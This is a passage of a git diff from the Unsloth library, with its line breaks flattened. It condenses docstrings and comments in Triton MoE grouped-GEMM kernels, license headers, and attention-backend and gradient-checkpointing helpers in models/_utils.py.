load.- use_tma_store: use TMA for storing dX. Incompatible with permute_x. TODO: add TMA gather / scatter support for Blackwell+ which will enable permute_x and use_tma_store.+ """Backward dX kernel. grad_output is (M, N); m_sizes is the token count per expert; gather_indices (total_tokens,) holds the token index per expert slot and may be None unless permute_x or permute_y.++ permute_x and permute_y describe what the forward pass did, and the backward is its mirror: a forward permute on load becomes a permute on store, a forward permute on store becomes a permute on load. dX stays [NUM_TOKENS * TOPK, K] because the gradients of every expert a token chose are accumulated in a later step.+ fuse_mul_pre and fuse_mul_post must stay False here, being inference-only.+ use_tma_load_dy is incompatible with permute_y and use_tma_store with permute_x (no TMA gather / scatter before Blackwell+); use_tma_load_w should always be on where TMA is supported."""assert not fuse_mul_pre, "fuse_mul_pre should only be used for inference, not for training"assert not fuse_mul_post, "fuse_mul_post should only be used for inference, not for training"@@ -352,8 +312,6 @@ def grouped_gemm_dX(assert m_sizes.is_contiguous()assert m_sizes.ndim == 1- # Preconditions- # Preconditionsassert not (permute_x and permute_y), "Cannot permute both X and Y"# Flipped from the forward pass: a y permuted in the forward must be permuted on load in the backward.assert not (permute_y and use_tma_load_dy), "Cannot use both TMA load and permute_y"@@ -367,7 +325,6 @@ def grouped_gemm_dX(use_tma_store = Falseif use_tma or autotune:- # Respect the global persistent allocator if set.if _HAS_SET_ALLOCATOR and not getattr(triton, "_unsloth_allocator_set", False):def alloc_fn(size: int, alignment: int, stream: int):@@ -400,8 +357,7 @@ def grouped_gemm_dX(total_tokens = gather_indices.shape[0] if gather_indices is not None else M_totalassert total_tokens == M_total, f"Total tokens ({total_tokens}) must match M_total ({M_total})"- # The output shape stays [NUM_TOKENS * TOPK, K] even under permute_x, since gradients must- # accumulate across all experts a token chose; reduced in a post-processing step.+ # The output stays [NUM_TOKENS * TOPK, K] even under permute_x: gradients accumulate across every expert a token chose, reduced in a post-processing step.output_shape = (total_tokens, K)dX = torch.zeros(output_shape, device = dY.device, dtype = dY.dtype)@@ -433,7 +389,6 @@ def grouped_gemm_dX("NUM_SMS": NUM_SMS,"PERMUTE_X": permute_x,"PERMUTE_Y": permute_y,- # Loop pipelining"FLATTEN": flatten,}if not autotune:@@ -485,23 +440,10 @@ def grouped_gemm_dW(autotune: bool = False,debug: bool = False,) -> torch.Tensor:- """- X: (M, K) hidden states where M is the num_tokens if `permute_x` is True, otherwise `total_tokens` where `total_tokens = num_tokens * topk`.- dY: (M, N)- topk: number of experts to choose per token.- m_sizes: tokens assigned to each expert which correspond to the size of M in the respective GEMMs in the grouped GEMM.- gather_indices: (total_tokens,) indices of tokens assigned to each expert. E.g., slicing gather_indices by cumsum of m_sizes gives the indices of tokens assigned to each expert.- permute_x: whether X was permuted on load in the forward pass, typically only used for the first grouped GEMM in an MoE MLP to group tokens by expert.- - for the first grouped GEMM, we permuted on load -> X was [num_tokens, K] and stored y in expert grouped order [num_tokens * topk, K]- - in the backwards pass, we need to permute on load of X while loading dy in contiguous (expert grouped) order- - since we are writing out dW, there is no need to permute on store- permute_y: whether the output was permuted on store in the forward pass, typically only used for the second grouped GEMM in an MoE MLP to restore to the original token order.- - for the second grouped GEMM, we permuted on store -> y was permuted from expert grouped order to token order while X was loaded in expert grouped order since it was the output of the first grouped GEMM- - in the backwards pass, we need to permute on load of dy to get from token order to expert grouped order to match the order of X- - since we are writing out dW, there is no need to permute on store- use_tma_load_dy: use TMA for loading dy. use_tma_load_dy is incompatible with permute_y. TODO: add TMA gather / scatter support for Blackwell+ which will enable permute_y and use_tma_load_dy.- use_tma_load_x: use TMA for loading x. use_tma_load_x is incompatible with permute_x. TODO: add TMA gather / scatter support for Blackwell+ which will enable permute_x and use_tma_load_x.- use_tma_store: use TMA for storing dW. If TMA supported, this should always be enabled as it is faster than global memory store.+ """Backward dW kernel. X is (num_tokens, K) when permute_x, else (num_tokens * topk, K); dY is (M, N); m_sizes is the token count per expert; gather_indices is (total_tokens,) token indices per expert.++ permute_x and permute_y describe what the forward pass did; the backward permutes on LOAD to bring X and dy into the same expert-grouped order, and never on store since it writes dW.+ use_tma_load_dy is incompatible with permute_y and use_tma_load_x with permute_x (no TMA gather / scatter before Blackwell+); use_tma_store should always be on where TMA is supported, being faster than a global memory store."""assert not fuse_mul_pre, "fuse_mul_pre not supported"assert not fuse_mul_post, "fuse_mul_post not supported"@@ -522,7 +464,6 @@ def grouped_gemm_dW(use_tma_store = Falseif use_tma or autotune:- # Respect the global persistent allocator if set.if _HAS_SET_ALLOCATOR and not getattr(triton, "_unsloth_allocator_set", False):def alloc_fn(size: int, alignment: int, stream: int):@@ -679,9 +620,7 @@ class GroupedGemm(torch.autograd.Function):permute_x = permute_x,permute_y = permute_y,fuse_mul_post = fuse_mul_post,- # Autotune overrides the manual kernel config when true.autotune = autotune,- # Manual kernel config**fwd_config,)@@ -732,9 +671,7 @@ class GroupedGemm(torch.autograd.Function):topk = topk,permute_x = permute_x,permute_y = permute_y,- # Autotune overrides the manual kernel config when true.autotune = autotune,- # Manual kernel config**bwd_dW_config,)else:@@ -760,9 +697,7 @@ class GroupedGemm(torch.autograd.Function):topk = topk,permute_x = permute_x,permute_y = permute_y,- # Autotune overrides the manual kernel config when true.autotune = autotune,- # Manual kernel config**bwd_dX_config,)@@ -870,28 +805,14 @@ def grouped_gemm(dX_only: bool = False,dW_only: bool = False,):- """- Grouped GEMM for MoE MLPs.-- The implementation offers a number of fusions specific to MoE:- - `permute_x`: fuse the permutation of hidden states from token order (original order) to grouped expert order, typically only needed for the first grouped GEMM in an MoE MLP.- - When `permute_x` is True, `X` is expected to be of shape (num_tokens, K).- - When `permute_x` is False, `X` is expected to be of shape (total_tokens, K) where `total_tokens = num_tokens * topk` AND already permuted to grouped expert order, i.e., hidden states are sorted such that tokens assigned to each expert are contiguous.- - `permute_y`: fused the permutation of the output from expert grouped order back to original token order, typically only needed for the second grouped GEMM in an MoE MLP.- - `fuse_mul`: fuse the multiplication of the routed output with topk_weights, used only when `permute_y` is True. NOTE: this should only be used when using this kernel for inference, not for training.-- X: (M, K) hidden states where M is the num_tokens if `permute_x` is True, otherwise `total_tokens` where `total_tokens = num_tokens * topk`.- W: (E, N, K) expert weights, where E is number of experts, N in the intermediate (output) dim, and K is the reduction dim- m_sizes: tokens assigned to each expert which correspond to the size of M in the respective GEMMs in the grouped GEMM.- gather_indices: (total_tokens,) indices of tokens assigned to each expert. E.g., slicing gather_indices by cumsum of m_sizes gives the indices of tokens assigned to each expert. Needed when either `permute_x` or `permute_y` is True.- topk_weights: (total_tokens,) weights to multiply routed output by in expert MLP calculation, used only when `fuse_mul` is True (see note on `fuse_mul`).- kernel_config_fwd: KernelConfigForward for forward pass.- kernel_config_bwd_dX: KernelConfigBackward_dX for backward pass of dX.- kernel_config_bwd_dW: KernelConfigBackward_dW for backward pass of dW.- autotune: whether to autotune the kernel, if yes, kernel_config_fwd, kernel_config_bwd_dX, and kernel_config_bwd_dW will be ignored.- is_first_gemm: whether this is the first grouped GEMM in an MoE MLP. This is needed to check whether kernel configs are valid. `permute_x` should only be used for first gemm; `permute_y` should only be used for second gemm.- This will impact whether TMA can be used for loading and storing.+ """Grouped GEMM for MoE MLPs.++ X is (num_tokens, K) when permute_x, else (num_tokens * topk, K) already sorted into expert-grouped order; W is (E, N, K); m_sizes is the token count per expert; gather_indices (total_tokens,) is required when either permutation is on; topk_weights is used only with fuse_mul.+ permute_x fuses the token-order to expert-order permutation (first GEMM of an MoE MLP); permute_y fuses the reverse (second GEMM).+ fuse_mul requires permute_y and is inference-only, never training.+ autotune ignores kernel_config_fwd, kernel_config_bwd_dX and kernel_config_bwd_dW.+ is_first_gemm gates config validation: permute_x belongs to the first GEMM and permute_y to the second, which also decides where TMA load and store may be used."""if not autotune:assert (diff --git a/unsloth/kernels/moe/grouped_gemm/kernels/autotuning.py b/unsloth/kernels/moe/grouped_gemm/kernels/autotuning.pyindex d6e04ca7688..cb05f502ad9 100644--- a/unsloth/kernels/moe/grouped_gemm/kernels/autotuning.py+++ b/unsloth/kernels/moe/grouped_gemm/kernels/autotuning.py@@ -1,16 +1,13 @@# Unsloth# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Affero General Public License as published# by the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU Affero General Public License for more details.-## You should have received a copy of the GNU Affero General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.diff --git a/unsloth/kernels/moe/grouped_gemm/kernels/backward.py b/unsloth/kernels/moe/grouped_gemm/kernels/backward.pyindex d6a9faebea2..9e60c24342e 100644--- a/unsloth/kernels/moe/grouped_gemm/kernels/backward.py+++ b/unsloth/kernels/moe/grouped_gemm/kernels/backward.py@@ -51,14 +51,12 @@ def _grouped_gemm_dX_kernel(dX_ptr,gather_indices_ptr,m_sizes_ptr,- # problem sizesNUM_EXPERTS: tl.constexpr,NUM_TOKENS,TOPK: tl.constexpr,N: tl.constexpr,K: tl.constexpr,NUM_SMS,- # Tuning parametersBLOCK_SIZE_M: tl.constexpr,BLOCK_SIZE_N: tl.constexpr,BLOCK_SIZE_K: tl.constexpr,@@ -77,8 +75,7 @@ def _grouped_gemm_dX_kernel(tl.static_assert(N % BLOCK_SIZE_N == 0, "N must be divisible by BLOCK_SIZE_N")tl.static_assert(K % BLOCK_SIZE_K == 0, "K must be divisible by BLOCK_SIZE_K")- # A single global TMA descriptor with one block shape; TMA load never permutes x, so the shape is- # [TOTAL_TOKENS, K]. Unverified across expert boundaries.+ # A single global TMA descriptor with one block shape; TMA load never permutes x, so the shape is [TOTAL_TOKENS, K]. Unverified across expert boundaries.if USE_TMA_LOAD_dY:dY_desc = tl.make_tensor_descriptor(dY_ptr,@@ -109,7 +106,6 @@ def _grouped_gemm_dX_kernel(if m_size > 0:n_start = expert_idx * N- # N_start_offset = g.to(tl.int64) * N tiles for this group's GEMMnum_m_tiles = tl.cdiv(m_size, BLOCK_SIZE_M)num_k_tiles = tl.cdiv(K, BLOCK_SIZE_K)num_tiles_per_expert = num_m_tiles * num_k_tiles@@ -124,17 +120,14 @@ def _grouped_gemm_dX_kernel(block_shape = [BLOCK_SIZE_M, BLOCK_SIZE_K],)- # Bounds are relative to tiles processed so far, so only this expert's tiles are handled and the- # total across experts is never exceeded.+ # Bounds are relative to tiles processed so far, so only this expert's tiles are handled and the total across experts is never exceeded.while tidx >= processed_tiles and tidx < (processed_tiles + num_tiles_per_expert):group_index = tidx - processed_tiles- # Output tile for this thread block for this expert grouptile_m_idx = group_index % num_m_tilestile_k_idx = group_index // num_m_tilesif PERMUTE_X or PERMUTE_Y:- # These will be used for loading and storing in permuted ordergather_offsets = tile_m_idx * BLOCK_SIZE_M + m_block_rangeindices_to_gather = m_start + tl.max_contiguous(tl.multiple_of(gather_offsets % m_size, BLOCK_SIZE_M),@@ -146,31 +139,24 @@ def _grouped_gemm_dX_kernel()expert_token_offsets = expert_token_idx[:, None]- # Masks for permuted load and storerow_mask = gather_offsets < m_sizerow_mask = row_mask[:, None]- # Only (PERMUTE_X and not PERMUTE_Y) and (not PERMUTE_X and PERMUTE_Y) occur, so load/store offsets- # are simply flipped between the two cases, with the strides adjusted to match.+ # Only (PERMUTE_X and not PERMUTE_Y) and (not PERMUTE_X and PERMUTE_Y) occur, so load/store offsets are simply flipped between the two cases, with the strides adjusted to match.if PERMUTE_X:- # Permuted on load in the forward pass (typically the first grouped GEMM in the MoE- # MLP), so load- # contiguous and permute on store.+ # Permuted on load in the forward pass (typically the first grouped GEMM in the MoE MLP), so load contiguous and permute on store.load_a_idx = indices_to_gather[:, None] * Nstore_idx = expert_token_offsets * Kelse:- # Permuted on store in the forward pass (typically the second grouped GEMM), so permute- # on load and- # store contiguous.+ # Permuted on store in the forward pass (typically the second grouped GEMM), so permute on load and store contiguous.load_a_idx = expert_token_offsets * Nstore_idx = indices_to_gather[:, None] * Kelse:# Offsets relative to the CURRENT expert; m_start then advances to this expert's start token.offs_am = tile_m_idx * BLOCK_SIZE_M + m_block_range- # [M, N] @ [N, K] -> [M, K], so A strides by N and B by K, plus m_start for A's expert start token- # and n_start for B's slice of the [E, N, K] weight matrix.+ # [M, N] @ [N, K] -> [M, K], so A strides by N and B by K, plus m_start for A's expert start token and n_start for B's slice of the [E, N, K] weight matrix.row_offsets_a = m_start + offs_am[:, None]load_a_idx = row_offsets_a * Nstore_idx = row_offsets_a * K@@ -188,9 +174,7 @@ def _grouped_gemm_dX_kernel(accumulator = tl.zeros((BLOCK_SIZE_M, BLOCK_SIZE_K), dtype = tl.float32)- # GEMM main loopfor n_offset in range(0, N, BLOCK_SIZE_N):- # dY block [M, N]if not USE_TMA_LOAD_dY:dY = tl.load(dY_ptrs, mask = row_mask)else:@@ -202,15 +186,12 @@ def _grouped_gemm_dX_kernel(w = w_desc.load([expert_idx, n_offset, tile_k_idx * BLOCK_SIZE_K])w = tl.reshape(w, (BLOCK_SIZE_N, BLOCK_SIZE_K))- # [M, N] @ [N, K] -> [M, K]dY = dY.to(w.dtype)accumulator += tl.dot(dY, w)- # Advance A along contiguous dimensionif not USE_TMA_LOAD_dY:dY_ptrs += BLOCK_SIZE_N- # B is no longer advanced along the contiguous dimension: weights are [N, K], so stride by K to- # reach the next [N_BLOCK_SIZE, K_BLOCK_SIZE] tile.+ # B is no longer advanced along the contiguous dimension: weights are [N, K], so stride by K to reach the next [N_BLOCK_SIZE, K_BLOCK_SIZE] tile.if not USE_TMA_LOAD_W:w_ptrs += BLOCK_SIZE_N * K@@ -228,7 +209,6 @@ def _grouped_gemm_dX_kernel(mask = store_mask,)- # Move to the next tile within this expert grouptidx += NUM_SMS# Update the total tiles count for the next expert group@@ -270,7 +250,6 @@ def _grouped_gemm_dW_kernel(dW_ptr,m_sizes_ptr,gather_indices_ptr,- # problem sizesNUM_TOKENS,TOPK: tl.constexpr,NUM_EXPERTS: tl.constexpr,@@ -330,11 +309,9 @@ def _grouped_gemm_dW_kernel()for tile_idx in range(tidx, output_tiles_per_expert, NUM_SMS):- # Output tile indextile_n_idx = tile_idx % num_n_tilestile_k_idx = tile_idx // num_n_tiles- # Output tile offsetsn_offset = tile_n_idx * BLOCK_SIZE_Nk_offset = tile_k_idx * BLOCK_SIZE_K@@ -353,8 +330,6 @@ def _grouped_gemm_dW_kernel(m_end = m_start + m_size# Offset by n_start: the result goes into this expert's slice of the global [E, N, K] weight matrix.- # NOTE: when storing the result, we need to offset by n_start since we are storing the result for- # this expert to the global [E, N, K] weight matrixn_start = expert_idx * Nstore_row_offs = n_start + n_offset + block_range_n@@ -378,12 +353,10 @@ def _grouped_gemm_dW_kernel(m_block_size = tl.minimum(BLOCK_SIZE_M, m_size - tile_m_idx)if m_block_size > 0:- # Global offset for this chunkm_global_offset = m_start + tile_m_idxm_offsets = m_global_offset + block_range_mif PERMUTE_X or PERMUTE_Y:- # These will be used for loading and storing in permuted ordergather_offsets = tile_m_idx + block_range_mindices_to_gather = m_start + tl.max_contiguous(@@ -396,12 +369,9 @@ def _grouped_gemm_dW_kernel()expert_token_offsets = expert_token_idx[:, None]- # Masks for permuted load and storerow_load_mask = gather_offsets < m_size- # Only (PERMUTE_X and not PERMUTE_Y) and (not PERMUTE_X and PERMUTE_Y) occur, so- # load/store offsets- # are flipped between the two cases, with the strides adjusted.+ # Only (PERMUTE_X and not PERMUTE_Y) and (not PERMUTE_X and PERMUTE_Y) occur, so load/store offsets are flipped between the two cases, with the strides adjusted.if PERMUTE_X:x_row_load_idx = ((expert_token_offsets // TOPK) * Kdiff --git a/unsloth/kernels/rms_layernorm.py b/unsloth/kernels/rms_layernorm.pyindex 302dd7ddad2..c9976b24361 100644--- a/unsloth/kernels/rms_layernorm.py+++ b/unsloth/kernels/rms_layernorm.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/rope_embedding.py b/unsloth/kernels/rope_embedding.pyindex 282b2623bf8..8be1a6d1a50 100644--- a/unsloth/kernels/rope_embedding.py+++ b/unsloth/kernels/rope_embedding.py@@ -1,15 +1,12 @@# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Lesser General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.-## You should have received a copy of the GNU Lesser General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.diff --git a/unsloth/kernels/swiglu.py b/unsloth/kernels/swiglu.pyindex 213839aeee0..cfc721d3618 100644--- a/unsloth/kernels/swiglu.py+++ b/unsloth/kernels/swiglu.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/kernels/utils.py b/unsloth/kernels/utils.pyindex 242270099b3..157b301a7e8 100644--- a/unsloth/kernels/utils.py+++ b/unsloth/kernels/utils.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/__init__.py b/unsloth/models/__init__.pyindex dc7e3091091..6d4af1e84f1 100644--- a/unsloth/models/__init__.py+++ b/unsloth/models/__init__.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/_attn_mask_compat.py b/unsloth/models/_attn_mask_compat.pyindex b38bab35d7e..6a3ac88ccc8 100644--- a/unsloth/models/_attn_mask_compat.py+++ b/unsloth/models/_attn_mask_compat.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/_custom_dtype.py b/unsloth/models/_custom_dtype.pyindex 0deb02ce82f..1476e6cd2f7 100644--- a/unsloth/models/_custom_dtype.py+++ b/unsloth/models/_custom_dtype.py@@ -1,16 +1,13 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Affero General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU Affero General Public License for more details.-## You should have received a copy of the GNU Affero General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.pyindex 25eb783848b..045ed54b998 100644--- a/unsloth/models/_utils.py+++ b/unsloth/models/_utils.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -265,19 +262,14 @@ from unsloth_zoo.temporary_patches import (def _unsloth_install_pretrain_detector(model):- """Attach a one-shot forward pre-hook recording whether a forward ran before- trainer.train(), so prepare_for_training_mode can drop a torch.compile graph cache poisoned- by a stray manual forward/backward. Idempotent; no-op if the model cannot take hooks."""+ """Attach a one-shot forward pre-hook recording whether a forward ran before trainer.train(), so prepare_for_training_mode can drop a torch.compile graph cache poisoned by a stray manual forward/backward. Idempotent; no-op if the model cannot take hooks."""if model is None or not hasattr(model, "register_forward_pre_hook"):return modelmarker = getattr(model, "_unsloth_pretrain_marker", None)if isinstance(marker, dict):- # A live hook is already recording: keep it (no duplicates) and do NOT clear seen, since a- # grad-enabled probe may already have flagged the poisoned cache and a re-entrant- # get_peft_model / patch_peft_model call must not erase that before train() resets it.+ # A live hook is already recording: keep it and do NOT clear seen, since a grad-enabled probe may already have flagged the poisoned cache and a re-entrant get_peft_model / patch_peft_model call must not erase that before train() resets it.if "hook" in marker:return model- # Marker exists but its hook was torn down, so reinstall fresh and reset seen.marker["seen"] = Falseelse:marker = {"seen": False}@@ -287,8 +279,7 @@ def _unsloth_install_pretrain_detector(model):return modeldef _mark(_module, _inp):- # Only a grad-enabled forward poisons the AOTAutograd backward-graph cache; a no-grad probe- # builds no backward graph, so treat it as clean.+ # Only a grad-enabled forward poisons the AOTAutograd backward-graph cache; a no-grad probe builds no backward graph, so treat it as clean.if torch.is_grad_enabled():marker["seen"] = True@@ -300,17 +291,13 @@ def _unsloth_install_pretrain_detector(model):def _unsloth_reset_stray_compile_cache(self):- # A manual forward/backward under torch.compile BEFORE trainer.train() caches a forward plus- # AOTAutograd backward graph in a one-off context, and reusing it poisons training with- # NaN/zero gradients, so drop the cache. Module-level, so the SFT auto-packing wrapper and the- # plain-Trainer loop can run it too.+ # A manual forward/backward under torch.compile BEFORE trainer.train() caches a forward plus AOTAutograd backward graph in a one-off context, and reusing it poisons training with NaN/zero gradients, so drop the cache. Module-level, so the SFT auto-packing wrapper and the plain-Trainer loop can run it too.import osmodel = getattr(self, "model", None)if model is None:return- # The detector hook can sit on any wrapper in the chain, and the probe may have run on a- # different one than self.model, so walk the chain.+ # The detector hook can sit on any wrapper in the chain, and the probe may have run on a different one than self.model, so walk the chain.markers = []seen = False_curr = model@@ -353,7 +340,6 @@ def _unsloth_reset_stray_compile_cache(self):"reset the torch.compile graph cache it poisoned so training starts clean. ""To avoid this, run any pre-train probe under `with torch.no_grad():`.")- # Tear down every one-shot detector hook in the chain so none adds per-step cost.for _m in markers:hook = _m.pop("hook", None)if hook is not None:@@ -365,19 +351,7 @@ def _unsloth_reset_stray_compile_cache(self):def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_length, dtype):- """- Apply gradient checkpointing with smart heuristics.-- For seq < 512, gc="unsloth" offloading overhead isn't worth it; standard gc is faster.-- Args:- use_gradient_checkpointing: "unsloth", True, False, or None- max_seq_length: The maximum sequence length- dtype: The model dtype for patching-- Returns:- The effective use_gradient_checkpointing value (may change from "unsloth" to True)- """+ """Apply gradient checkpointing with smart heuristics, returning the effective ``use_gradient_checkpointing`` (which may change from "unsloth" to True). Below seq 512 the "unsloth" offloading overhead is not worth it and standard gc is faster."""if use_gradient_checkpointing == "unsloth":# Offloading is not worth it below ~512; standard gc is faster (crossover ~384-512).if max_seq_length < 512:@@ -387,29 +361,23 @@ def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_lenpatch_unsloth_smart_gradient_checkpointing(dtype = dtype)return "unsloth"elif use_gradient_checkpointing in (True, False):- # User explicitly set True or False, so unpatch any previous "unsloth" patching.unpatch_unsloth_smart_gradient_checkpointing()return use_gradient_checkpointingreturn use_gradient_checkpointing-# Models that break with flex_attention as the global attention implementation: GPT-OSS-# inference (wrong decode outputs), Mllama (BlockMask Q_LEN != KV_LEN on decode), NemotronH-# (hybrid Mamba-2), Gemma3N (timm vision wrappers), ModernBERT (CUDA illegal access on B200).+# Models that break with flex_attention as the global attention implementation: GPT-OSS inference (wrong decode outputs), Mllama (BlockMask Q_LEN != KV_LEN on decode), NemotronH (hybrid Mamba-2), Gemma3N (timm vision wrappers), ModernBERT (CUDA illegal access on B200)._FLEX_EXCLUDED_MODELS = ("gpt_oss", "mllama", "nemotron_h", "modernbert")_FLEX_PREFERRED_MODELS = ("gemma3", "gemma3_text", "shieldgemma2")_SDPA_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")-# The loader forces supports_sdpa=False for these, whose bundled SDPA modules are wrong; kept-# here so _is_sdpa_excluded can honor them without a loader -> _utils cycle. Matched as-# substrings of a comma-joined string, so "gemma3," matches gemma3 but not gemma3n.+# The loader forces supports_sdpa=False for these, whose bundled SDPA modules are wrong; kept here so _is_sdpa_excluded can honor them without a loader -> _utils cycle. Matched as substrings of a comma-joined string, so "gemma3," matches gemma3 but not gemma3n.DISABLE_SDPA_MODEL_NAMES = ["gemma3,","gemma3_text", # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore"gpt_oss",]_FLASH_EXCLUDED_MODELS = ("gpt_oss", "deepseek_v4")-# deepseek_v4's custom attention is sdpa/flash-incompatible: force eager, and it is excluded-# above so an explicit request cannot re-enable the crash.+# deepseek_v4's custom attention is sdpa/flash-incompatible: force eager, and it is excluded above so an explicit request cannot re-enable the crash._EAGER_ONLY_PREFIXES = ("gemma3n", "deepseek_v4")_FLASH_ATTENTION_MAX_HEAD_DIM = 256_FLASH_ATTENTION_DISABLED_WARNED = set()@@ -420,16 +388,13 @@ def _is_flex_excluded(model_type):def _is_sdpa_disabled_by_name(model_type):- # Mirror the loader's DISABLE_SDPA_MODEL_NAMES check, which joins model_types with a trailing- # comma, so a single model_type matches identically.+ # Mirror the loader's DISABLE_SDPA_MODEL_NAMES check, which joins model_types with a trailing comma, so a single model_type matches identically.model_types_all = model_type.lower() + ","return any(name.lower() in model_types_all for name in DISABLE_SDPA_MODEL_NAMES)def _is_sdpa_excluded(model_type):- # SDPA is known-broken for these, so an explicit sdpa request must not re-enable it. Two sources:- # _SDPA_EXCLUDED_MODELS (resolver, e.g. gpt_oss) and DISABLE_SDPA_MODEL_NAMES (loader, e.g.- # gemma3 / gemma3_text).+ # SDPA is known-broken for these, so an explicit sdpa request must not re-enable it. Two sources: _SDPA_EXCLUDED_MODELS (resolver) and DISABLE_SDPA_MODEL_NAMES (loader).lowered = model_type.lower()return lowered in _SDPA_EXCLUDED_MODELS or _is_sdpa_disabled_by_name(lowered)@@ -449,18 +414,12 @@ def _is_eager_only(model_type):return any(model_type.startswith(p) for p in _EAGER_ONLY_PREFIXES)-# Ampere. Below it the flex HOP runs its eager sdpa_dense fallback, whose backward casts-# softmax_scores but not grad_out; such a card also forces fp16, so a Half query meets a Float-# grad and the matmul is refused.+# Ampere. Below it the flex HOP runs its eager sdpa_dense fallback, whose backward casts softmax_scores but not grad_out; such a card also forces fp16, so a Half query meets a Float grad and the matmul is refused._FLEX_ATTENTION_MIN_CAPABILITY = (8, 0)def _flex_attention_gpu_is_supported():- """False only for NVIDIA cards below Ampere.-- ROCm, XPU, MPS, CPU and an unreadable device are left alone, so this can- only ever remove a path that was already broken.- """+ """False only for NVIDIA cards below Ampere. ROCm, XPU, MPS, CPU and an unreadable device are left alone, so this can only ever remove a path that was already broken."""try:if getattr(torch.version, "hip", None):return True@@ -512,10 +471,7 @@ def _config_get(return config.get(field_name, default)return getattr(config, field_name, default)except Exception:- # transformers 5.x heterogeneous configs (Gemma 3n / Gemma 4, anything with per_layer_config)- # raise AmbiguousGlobalPerLayerAttributeError, not AttributeError, on a global read of a- # per-layer field, so a getattr default does not cover it; this killed model load on 5.15.0.- # Not caught by name: the class does not exist on 4.x.+ # transformers 5.x heterogeneous configs (Gemma 3n / Gemma 4, anything with per_layer_config) raise AmbiguousGlobalPerLayerAttributeError, not AttributeError, on a global read of a per-layer field, so a getattr default does not cover it; this killed model load on 5.15.0. Not caught by name: the class does not exist on 4.x.return default@@ -524,9 +480,7 @@ def _get_per_layer_values(config, field_name):per_layer = _config_get(config, "per_layer_config", None)if per_layer is None or isinstance(per_layer, (str, bytes)):return []- # Three shapes: a live _PerLayerConfigView (a Sequence), the to_dict/config.json mapping of- # zero-padded layer index to overrides, and Unsloth's SimpleNamespace wrap. Iterating a mapping- # walks the indices, so the probe would answer 256 where the object form answers 512.+ # Three shapes: a live _PerLayerConfigView (a Sequence), the to_dict/config.json mapping of zero-padded layer index to overrides, and Unsloth's SimpleNamespace wrap. Iterating a mapping walks the indices, so the probe would answer 256 where the object form answers 512.if isinstance(per_layer, dict):per_layer = list(per_layer.values())else:@@ -602,8 +556,7 @@ def _collect_attention_head_dims(config):"local_head_dim","kv_head_dim",):- # Per-layer first: on a heterogeneous config the global read 